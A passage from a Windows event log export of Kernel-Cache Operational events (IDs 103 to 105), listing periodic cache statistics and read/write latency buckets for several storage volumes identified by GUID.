111364\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 1696481441\n                       Maximum Dirty Pages: 41125\n                       Total Dirty Page Threshold: 110510569094\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 286227\n                       Total Lazy Writer Calls: 2990\n                       Total Lazy Writer Latency: 2086525\n                       Total Lazy Writer Pages Flushed: 125054\n                       Lazy Writer Average Pages Per Second: 59892\n                       Total Pages Queued to Disk: 39791875\n                       Maximum Pages Queued to Disk: 3471\n                       Pages Queued to Disk Samples: 82752\n                       Total Metadata Pages Queued to Disk: 20576438\n                       Maximum Metadata Pages Queued to Disk: 3185\n                       Metadata Pages Queued to Disk Samples: 82738\n                       Read Total Bytes: 133539294353\n                       Read Paged-In Total Bytes: 5964598671\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 95\n                       Total Writes: 284210\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 805419\n                       Total Synchronous Non-Blocking Read IO Count: 13985\n                       Total Failed Synchronous Non-Blocking Read IO Count: 1567\n                       Synchronous Read IO Maximum Latency (us): 670202\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 258771\n                       Total Synchronous Non-Blocking Write IO Count: 687\n                       Total Failed Synchronous Non-Blocking Write IO Count: 2\n                       Synchronous Write IO Maximum Latency (us): 158385\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 1567\n                       Asynchronous Read IO Maximum Latency (us): 47306\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [801323, 3548, 293, 190, 60, 2, 1, 4, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [2778311, 1455902, 549343, 1806526, 1774425, 228134, 166153, 1776138, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [13985, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [1331, 221, 8, 6, 1, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [196180, 86986, 11680, 28305, 47306, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [257386, 1133, 73, 105, 70, 1, 3, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [638768, 464431, 144110, 1255233, 1935671, 74538, 442846, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [687, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {00000000-0000-0000-0000-000000000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 0\n                       Maximum Dirty Pages: 0\n                       Total Dirty Page Threshold: 0\n                       Top Dirty Page Threshold: 0\n                       Bottom Dirty Page Threshold: 0\n                       Dirty Page Samples: 0\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 0\n                       Maximum Pages Queued to Disk: 0\n                       Pages Queued to Disk Samples: 0\n                       Total Metadata Pages Queued to Disk: 0\n                       Maximum Metadata Pages Queued to Disk: 0\n                       Metadata Pages Queued to Disk Samples: 0\n                       Read Total Bytes: 12586496\n                       Read Paged-In Total Bytes: 2883584\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 77\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 57\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 0\n                       Synchronous Read IO Maximum Latency (us): 203\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 0\n                       Asynchronous Read IO Maximum Latency (us): 0\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {00000000-0000-0000-0000-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [1437, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {00000000-0000-0000-0000-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 143\n                       Maximum Dirty Pages: 12\n                       Total Dirty Page Threshold: 35706670\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 75\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 13\n                       Maximum Pages Queued to Disk: 3\n                       Pages Queued to Disk Samples: 32\n                       Total Metadata Pages Queued to Disk: 0\n                       Maximum Metadata Pages Queued to Disk: 0\n                       Metadata Pages Queued to Disk Samples: 32\n                       Read Total Bytes: 89878528\n                       Read Paged-In Total Bytes: 13312000\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 85\n                       Total Writes: 13\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 289\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 0\n                       Synchronous Read IO Maximum Latency (us): 1149\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 8\n                       Total Synchronous Non-Blocking Write IO Count: 2\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 1158\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 0\n                       Asynchronous Read IO Maximum Latency (us): 0\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [228, 60, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [2679, 24883, 1149, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [6, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [331, 334, 1158, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 112\n                       Maximum Dirty Pages: 9\n                       Total Dirty Page Threshold: 5827067\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 32\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 72\n                       Maximum Pages Queued to Disk: 9\n                       Pages Queued to Disk Samples: 18\n                       Total Metadata Pages Queued to Disk: 72\n                       Maximum Metadata Pages Queued to Disk: 9\n                       Metadata Pages Queued to Disk Samples: 18\n                       Read Total Bytes: 1048576\n                       Read Paged-In Total Bytes: 786432\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 25\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 3\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 1\n                       Synchronous Read IO Maximum Latency (us): 654\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 1\n                       Asynchronous Read IO Maximum Latency (us): 11599\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [72, 654, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 11599, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 41\n                       Maximum Dirty Pages: 6\n                       Total Dirty Page Threshold: 4748802\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 18\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 31\n                       Maximum Pages Queued to Disk: 5\n                       Pages Queued to Disk Samples: 22\n                       Total Metadata Pages Queued to Disk: 0\n                       Maximum Metadata Pages Queued to Disk: 0\n                       Metadata Pages Queued to Disk Samples: 22\n                       Read Total Bytes: 12767232\n                       Read Paged-In Total Bytes: 9007104\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 29\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 86\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 0\n                       Synchronous Read IO Maximum Latency (us): 5116\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 0\n                       Asynchronous Read IO Maximum Latency (us): 0\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [25, 56, 4, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [1783, 23200, 5309, 5116, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 41\n                       Maximum Dirty Pages: 5\n                       Total Dirty Page Threshold: 4396111\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 18\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 12\n                       Maximum Pages Queued to Disk: 4\n                       Pages Queued to Disk Samples: 8\n                       Total Metadata Pages Queued to Disk: 12\n                       Maximum Metadata Pages Queued to Disk: 4\n                       Metadata Pages Queued to Disk Samples: 8\n                       Read Total Bytes: 11113984\n                       Read Paged-In Total Bytes: 262144\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 97\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 1\n                       Total Synchronous Non-Blocking Read IO Count: 38\n                       Total Failed Synchronous Non-Blocking Read IO Count: 5\n                       Synchronous Read IO Maximum Latency (us): 448\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 5\n                       Asynchronous Read IO Maximum Latency (us): 251\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [0, 448, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [38, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [883, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 59\n                       Maximum Dirty Pages: 5\n                       Total Dirty Page Threshold: 4552832\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 26\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 24\n                       Maximum Pages Queued to Disk: 5\n                       Pages Queued to Disk Samples: 14\n                       Total Metadata Pages Queued to Disk: 24\n                       Maximum Metadata Pages Queued to Disk: 5\n                       Metadata Pages Queued to Disk Samples: 14\n                       Read Total Bytes: 12899840\n                       Read Paged-In Total Bytes: 1605632\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 87\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 15\n                       Total Synchronous Non-Blocking Read IO Count: 38\n                       Total Failed Synchronous Non-Blocking Read IO Count: 5\n                       Synchronous Read IO Maximum Latency (us): 648\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 5\n                       Asynchronous Read IO Maximum Latency (us): 219\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [6, 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [664, 3455, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [38, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [842, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {5285d7ae-0000-0000-007e-000000000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 166\n                       Maximum Dirty Pages: 12\n                       Total Dirty Page Threshold: 9979559\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 28\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 54\n                       Maximum Pages Queued to Disk: 12\n                       Pages Queued to Disk Samples: 14\n                       Total Metadata Pages Queued to Disk: 54\n                       Maximum Metadata Pages Queued to Disk: 12\n                       Metadata Pages Queued to Disk Samples: 14\n                       Read Total Bytes: 1572864\n                       Read Paged-In Total Bytes: 786432\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 50\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 4\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 2\n                       Synchronous Read IO Maximum Latency (us): 842\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 2\n                       Asynchronous Read IO Maximum Latency (us): 231\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-007e-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  